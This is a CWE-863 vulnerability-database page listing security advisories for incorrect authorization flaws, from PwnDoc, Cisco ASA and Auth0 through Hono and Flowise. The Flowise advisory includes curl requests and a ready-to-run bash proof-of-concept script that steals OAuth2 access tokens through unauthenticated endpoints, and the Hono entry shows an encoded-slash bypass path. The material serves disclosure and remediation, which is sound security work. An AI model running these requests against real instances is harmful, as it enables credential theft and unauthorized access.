Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

6275 vulnerabilities reference this CWE, most recent first.

GHSA-W9W2-PJ3M-5V3R

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-13 00:01
VLAI
Details

PwnDoc through 2021-04-22 has incorrect JSON Webtoken handling, leading to incorrect access control. With a valid JSON Webtoken that is used for authentication and authorization, a user can keep his admin privileges even if he is downgraded to the "user" privilege. Even after a user's account is deleted, the user can still access the administration panel (and add or delete users) and has complete access to the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-19T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "PwnDoc through 2021-04-22 has incorrect JSON Webtoken handling, leading to incorrect access control. With a valid JSON Webtoken that is used for authentication and authorization, a user can keep his admin privileges even if he is downgraded to the \"user\" privilege. Even after a user\u0027s account is deleted, the user can still access the administration panel (and add or delete users) and has complete access to the system.",
  "id": "GHSA-w9w2-pj3m-5v3r",
  "modified": "2022-07-13T00:01:24Z",
  "published": "2022-05-24T19:08:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/pull/128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/pull/74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/commit/15f3dc0e212eda465e05fda0feb002d1bce2939d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/commit/ff1b868cec55f5b6c7a91e15a2b0b1f4324121ab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/blob/59519735b0d831d8fd96d7c3387f66d28407e583/CHANGELOG.md#040-2021-08-23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwndoc/pwndoc/security/advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.dgc.org/responsible_disclosure_pwndoc_jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC47-GHMC-28V7

Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2022-07-13 00:01
VLAI
Details

There is an Improper access control vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-07T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is an Improper access control vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-wc47-ghmc-28v7",
  "modified": "2022-07-13T00:01:32Z",
  "published": "2021-12-08T00:01:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37038"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2021/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC66-56FW-MMP9

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

An improper authorization handling flaw was found in Foreman. The Shellhooks plugin for the smart-proxy allows Foreman clients to execute actions that should be limited to the Foreman Server. This flaw allows an authenticated local attacker to access and delete limited resources and also causes a denial of service on the Foreman server. The highest threat from this vulnerability is to integrity and system availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-12T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization handling flaw was found in Foreman. The Shellhooks plugin for the smart-proxy allows Foreman clients to execute actions that should be limited to the Foreman Server. This flaw allows an authenticated local attacker to access and delete limited resources and also causes a denial of service on the Foreman server. The highest threat from this vulnerability is to integrity and system availability.",
  "id": "GHSA-wc66-56fw-mmp9",
  "modified": "2022-05-24T19:02:12Z",
  "published": "2022-05-24T19:02:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3457"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1940990"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WC8C-QW6V-H7F6

Vulnerability from github – Published: 2026-03-04 20:05 – Updated: 2026-03-06 22:43
VLAI
Summary
@hono/node-server has authorization bypass for protected static paths via encoded slashes in Serve Static Middleware
Details

Summary

When using @hono/node-server's static file serving together with route-based middleware protections (e.g. protecting /admin/*), inconsistent URL decoding can allow protected static resources to be accessed without authorization.

In particular, paths containing encoded slashes (%2F) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served.

Details

The routing layer and the node-server static handler normalize request paths differently. The router preserves %2F as a literal string when matching routes, while the static handler decodes %2F into / before resolving the filesystem path.

Example request:

  • /admin%2Fsecret.html

This may: - fail to match middleware intended for /admin/*, but - still be resolved by the static handler as /admin/secret.html under the configured static root.

This does not allow access outside the configured static root and is not a path traversal vulnerability.

Impact

An unauthenticated attacker could bypass route-based authorization protections for protected static resources by supplying paths containing encoded slashes.

Applications relying solely on route-based middleware to protect static subpaths under the same static root may have exposed those resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@hono/node-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:05:49Z",
    "nvd_published_at": "2026-03-06T18:16:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen using @hono/node-server\u0027s static file serving together with route-based middleware protections (e.g. protecting `/admin/*`), inconsistent URL decoding can allow protected static resources to be accessed without authorization.\n\nIn particular, paths containing encoded slashes (`%2F`) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served.\n\n## Details\n\nThe routing layer and the node-server static handler normalize request paths differently. The router preserves `%2F` as a literal string when matching routes, while the static handler decodes `%2F` into `/` before resolving the filesystem path.\n\nExample request:\n\n- `/admin%2Fsecret.html`\n\nThis may:\n- fail to match middleware intended for `/admin/*`, but\n- still be resolved by the static handler as `/admin/secret.html` under the configured static root.\n\nThis does not allow access outside the configured static root and is not a path traversal vulnerability.\n\n## Impact\n\nAn unauthenticated attacker could bypass route-based authorization protections for protected static resources by supplying paths containing encoded slashes.\n\nApplications relying solely on route-based middleware to protect static subpaths under the same static root may have exposed those resources.",
  "id": "GHSA-wc8c-qw6v-h7f6",
  "modified": "2026-03-06T22:43:58Z",
  "published": "2026-03-04T20:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/node-server/security/advisories/GHSA-wc8c-qw6v-h7f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/node-server/commit/455015be1697dd89974a68b70350ea7b2d126d2e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/node-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@hono/node-server has authorization bypass for protected static paths via encoded slashes in Serve Static Middleware"
}

GHSA-WCCP-C983-J22Q

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

A vulnerability in the authorization subsystem of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, but unprivileged (levels 0 and 1), remote attacker to perform privileged actions by using the web management interface. The vulnerability is due to improper validation of user privileges when using the web management interface. An attacker could exploit this vulnerability by sending specific HTTP requests via HTTPS to an affected device as an unprivileged user. An exploit could allow the attacker to retrieve files (including the running configuration) from the device or to upload and replace software images on the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-15465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-24T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the authorization subsystem of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, but unprivileged (levels 0 and 1), remote attacker to perform privileged actions by using the web management interface. The vulnerability is due to improper validation of user privileges when using the web management interface. An attacker could exploit this vulnerability by sending specific HTTP requests via HTTPS to an affected device as an unprivileged user. An exploit could allow the attacker to retrieve files (including the running configuration) from the device or to upload and replace software images on the device.",
  "id": "GHSA-wccp-c983-j22q",
  "modified": "2022-05-13T01:34:14Z",
  "published": "2022-05-13T01:34:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15465"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181219-asa-privesc"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2018-46"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106256"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCCV-R56Q-VWMW

Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2023-06-23 21:30
VLAI
Details

Improper access control vulnerability in Samsung SearchWidget prior to versions 2.3.00.6 in China models allows untrusted applications to load arbitrary URL and local files in webview.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-24923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-11T18:15:00Z",
    "severity": "LOW"
  },
  "details": "Improper access control vulnerability in Samsung SearchWidget prior to versions 2.3.00.6 in China models allows untrusted applications to load arbitrary URL and local files in webview.",
  "id": "GHSA-wccv-r56q-vwmw",
  "modified": "2023-06-23T21:30:26Z",
  "published": "2022-02-12T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24923"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2022\u0026month=2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCGJ-F865-C7J7

Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-11 15:48
VLAI
Summary
Improper Request Caching Lookup in the Auth0 Next.js SDK
Details

Description

When using affected versions of the Next.js SDK, simultaneous requests on the same client may result in improper lookups in the TokenRequestCache for the request results.

Am I Affected?

You are affected if you meet the following preconditions: - Applications using the auth0/nextjs-auth0 SDK with a singleton client instance, versions 4.11.0, 4.11.1, and 4.12.0.

Affected product and versions

Auth0/nextjs-auth0 v4.11.0, v4.11.1, and v4.12.0.

Resolution

Upgrade Auth0/nextjs-auth0 version to v4.11.2 or v4.12.1

Acknowledgements

Okta would like to thank Joshua Rogers (MegaManSec) for their discovery and responsible disclosure.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@auth0/nextjs-auth0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.11.0"
            },
            {
              "fixed": "4.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@auth0/nextjs-auth0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.12.0"
            },
            {
              "fixed": "4.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-10T21:31:24Z",
    "nvd_published_at": "2025-12-10T23:15:48Z",
    "severity": "MODERATE"
  },
  "details": "### Description\nWhen using affected versions of the Next.js SDK, simultaneous requests on the same client may result in improper lookups in the TokenRequestCache for the request results.\n\n### Am I Affected?\nYou are affected if you meet the following preconditions:\n- Applications using the auth0/nextjs-auth0 SDK with a singleton client instance, versions 4.11.0, 4.11.1, and 4.12.0.\n\n### Affected product and versions\nAuth0/nextjs-auth0 v4.11.0, v4.11.1, and v4.12.0.\n\n### Resolution\nUpgrade Auth0/nextjs-auth0 version to v4.11.2 or v4.12.1\n\n### Acknowledgements\nOkta would like to thank Joshua Rogers (MegaManSec) for their discovery and responsible disclosure.",
  "id": "GHSA-wcgj-f865-c7j7",
  "modified": "2025-12-11T15:48:10Z",
  "published": "2025-12-10T21:31:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/auth0/nextjs-auth0/security/advisories/GHSA-wcgj-f865-c7j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/nextjs-auth0/commit/26cc8a7c60f4b134700912736f991a25bd6bbf0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/auth0/nextjs-auth0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Request Caching Lookup in the Auth0 Next.js SDK"
}

GHSA-WCH5-XP77-FXG4

Vulnerability from github – Published: 2026-08-04 18:01 – Updated: 2026-08-04 18:01
VLAI
Summary
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
Details

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

  1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
  2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
  3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:183-185 (callback)

const credential = await credentialRepository.findOneBy({
    id: state as string
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:314-316 (refresh)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId  // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41

export const WHITELIST_URLS = [
    // ...
    '/api/v1/oauth2-credential/callback',   // line 40
    '/api/v1/oauth2-credential/refresh',     // line 41
    // ...
]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()  // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.

POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
  "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

await credentialRepository.update(credential.id, {
    encryptedData,      // Contains attacker-controlled token data
    updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "tokenInfo": {
    "access_token": "new-access-token-value",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T12:00:00.000Z"
  }
}

The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.


Proof of Concept

Prerequisites

  • A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
  • An OAuth2 credential configured in Workspace B (the victim)
  • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tokenInfo": {
    "access_token": "<VALID_ACCESS_TOKEN>",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T..."
  }
}

Expected result if credential not found:

{
  "success": false,
  "message": "Credential not found"
}

Step 2 — Cross-workspace authorize (requires any valid session)

# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked:

{
  "success": true,
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
  "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3 — Forge callback to inject attacker-controlled tokens

# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:     ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
  "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json")

HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)

if [ "${HTTP_CODE}" = "200" ]; then
  echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
  echo "    Response: ${BODY}" | head -c 500
  echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
  echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
  echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
  echo "    This still confirms the endpoint is reachable without auth"
else
  echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
  echo "[2] Attempting cross-workspace authorize..."
  AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
    "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
    -H "Cookie: ${ATTACKER_COOKIE}" \
    -H "Content-Type: application/json")

  HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
  BODY=$(echo "${AUTH_RESP}" | head -n -1)

  if [ "${HTTP_CODE}" = "200" ]; then
    echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
    echo "    Leaked authorization URL:"
    echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "    ${BODY}" | head -c 500
  else
    echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
  fi
else
  echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
  "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")

HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
  echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
  echo "    The server attempted to process the OAuth2 callback."
  echo "    With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Impact

Vector Auth Required Impact
Credential metadata leak via /authorize Low (any session) Exposes client_id, scope, redirect_uri from any workspace's credential
Token injection via /callback None Overwrite any credential's stored OAuth2 tokens with attacker-controlled values
Token theft via /refresh None Obtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.)

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.


Affected Components

File Lines Issue
packages/server/src/routes/oauth2/index.ts 80-82 findOneBy({ id }) — no workspaceId
packages/server/src/routes/oauth2/index.ts 183-185 findOneBy({ id: state }) — no workspaceId
packages/server/src/routes/oauth2/index.ts 314-316 findOneBy({ id }) — no workspaceId
packages/server/src/utils/constants.ts 40 /callback whitelisted from auth
packages/server/src/utils/constants.ts 41 /refresh whitelisted from auth

Remediation

  1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed)
const credential = await credentialRepository.findOneBy({
    id: credentialId,
    workspaceId: req.user?.activeWorkspaceId
})
  1. Remove /callback and /refresh from WHITELIST_URLS or implement a signed, time-limited state token that authenticates the callback without a session.

  2. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

  3. Do not return access_token in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.


Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T18:01:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThree OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:\n\n1. **Cross-workspace credential access** \u2014 Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.\n2. **Unauthenticated token injection** \u2014 An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.\n3. **Unauthenticated token refresh** \u2014 An unauthenticated attacker can refresh tokens for any credential.\n\n---\n\n## Root Cause\n\n### Vulnerable code: no workspace scoping\n\nAll three OAuth2 handlers query the `Credential` table by `id` only:\n\n**`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:183-185`** (callback)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: state as string\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n### Correct pattern (same codebase)\n\nThe standard credential service correctly enforces workspace isolation:\n\n**`packages/server/src/services/credentials/index.ts:130-132`**\n```typescript\nconst credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({\n    id: credentialId,\n    workspaceId: workspaceId  // \u003c-- Workspace scoping present\n})\n```\n\n### Authentication bypass via whitelist\n\n**`packages/server/src/utils/constants.ts:40-41`**\n```typescript\nexport const WHITELIST_URLS = [\n    // ...\n    \u0027/api/v1/oauth2-credential/callback\u0027,   // line 40\n    \u0027/api/v1/oauth2-credential/refresh\u0027,     // line 41\n    // ...\n]\n```\n\n**`packages/server/src/index.ts:223-225`** \u2014 prefix-matched whitelist skips all auth:\n```typescript\nconst isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))\nif (isWhitelisted) {\n    next()  // No JWT verification, no API key check\n}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario A: Cross-Workspace Credential Metadata Leak\n\nAn authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential\u0027s `client_id`, `scope`, and `redirect_uri`.\n\n```\nPOST /api/v1/oauth2-credential/authorize/\u003cVICTIM_CREDENTIAL_UUID\u003e\nCookie: connect.sid=\u003cATTACKER_SESSION\u003e\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n  \"authorizationUrl\": \"https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID\u0026scope=LEAKED_SCOPE\u0026...\",\n  \"redirectUri\": \"https://flowise-instance/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Scenario B: Unauthenticated Token Injection via Forged Callback\n\nThe callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.\n\n```\nGET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE\u0026state=\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication required)\n```\n\nThe server exchanges the code at the credential\u0027s `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim\u0027s credential record (line 271):\n\n```typescript\nawait credentialRepository.update(credential.id, {\n    encryptedData,      // Contains attacker-controlled token data\n    updatedDate: new Date()\n})\n```\n\n### Scenario C: Unauthenticated Token Refresh\n\nAn attacker can refresh any credential\u0027s OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.\n\n```\nPOST /api/v1/oauth2-credential/refresh/\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication 